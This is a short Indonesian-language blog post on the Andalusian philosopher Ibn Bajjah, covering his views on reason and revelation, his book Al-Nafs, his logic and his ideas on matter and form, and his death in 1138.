Satu persamaan yang kentara antara al-Farabi dengan Ibn Bajjah ialah kedua-duanya meletakkan ilmu mengatasi segala-galanya. Mereka hampir sependapat bahwa akal dan wahyu merupakan satu hakekat yang padu. Upaya untuk memisahkan kedua-duanya hanya akan melahirkan sebuah masyarakat dan negara yang pincang.

Oleh sebab itu, akal dan wahyu harus menjadi dasar dan asas pembinaan sebuah negara serta masyarakat yang bahagia. Ibnu Bajjah berpendapat bahwa akal boleh menyebabkan manusia mengenali apa saja kewujudan benda atau Tuhan. Akal boleh mengenali dengan sendiri perkara-perkara tersebut tanpa dipengaruhi oleh unsur-unsur kerohanian melalui amalan tasawuf.

Selain itu, Ibnu Bajjah juga telah menulis sebuah buku yang berjudul Al-Nafs yang membicarakan persoalan yang berkaitan dengan jiwa. Pembicaraan itu banyak dipengaruhi oleh gagasan pemikiran filsafat Yunani. Oleh sebab itulah, Ibnu Bajjah banyak membuat ulasan terhadap karya dan hasil tulisan Aristoteles, Galenos, al-Farabi, dan al-Razi.

Minatnya dalam soal yang berkaitan dengan ketuhanan dan metafisika jauh mengatasi bidang ilmu lain meski beliau mahir dalam ilmu psikologi, politik, perobatan, aljabar dan sebagainya. Sewaktu membicarakan ilmu logika, Ibnu Bajjah berpendapat bahwa sesuatu yang dianggap ada itu sama ada benar-benar ada atau tidak ada bergantung pada yang diyakini ada atau hanyalah suatu kemungkinan. Justru apa yang diyakini itulah sebenarnya satu kebenaran dan sesuatu kemungkinan itu boleh jadi mungkin benar dan tidak benar.

Kenyataannya, banyak perkara di dunia ini yang tidak dapat diuraikan menggunakan logika. Jadi, Ibnu Bajjah belajar ilmu-ilmu lain untuk membantunya memahaminya hal-hal berkaitan dengan metafisika.

Ilmu sains dan fisika misalnya digunakan oleh Ibnu Bajjah untuk menguraikan persoalan benda dan rupa. Menurut Ibnu Bajjah, benda tidak mungkin terwujud tanpa rupa tetapi rupa tanpa benda mungkin wujud. Oleh sebab itu, kita boleh menggambarkan sesuatu dalam bentuk dan rupa yang berbeda-beda.

Masih banyak lagi pemikiran filsafat Ibnu Bajjah yang tidak diketahui karena sebagian besar karya tulisnya telah musnah. Bahan yang tinggal dan sampai kepada kita hanya merupakan sisa-sisa dokumen yang berserakan di beberapa perpustakaan di Eropa. Setengah pandangan filsafatnya jelas mendahului zamannya.

Sebagai contoh, beliau telah lama menggunakan ungkapan manusia sebagai makhluk sosial, sebelum para sarjana Barat berbuat demikian. Begitu juga konsep masyarakat madani telah dibicarakan dalam tulisannya secara tidak langsung. Sesungguhnya Ibn Bajjah merupakan tokoh ilmuwan yang hebat.

Namun kehebatannya inilah yang mengundang cemburu beberapa kalangan. Perasaan dengki dan cemburu ini menyebabkannya diracuni dan akhirnya meninggal dunia pada tahun 1138. Biarpun umur Ibn Bajjah tidak panjang tetapi sumbangan dan pemikirannya telah meletakkan dasar yang kokoh bagi perkembangan ilmu dan filsafat di bumi Andalusia.

Selanjutnya »»

Lunatic © 2008 Template by Dicas Blogger.

TOPO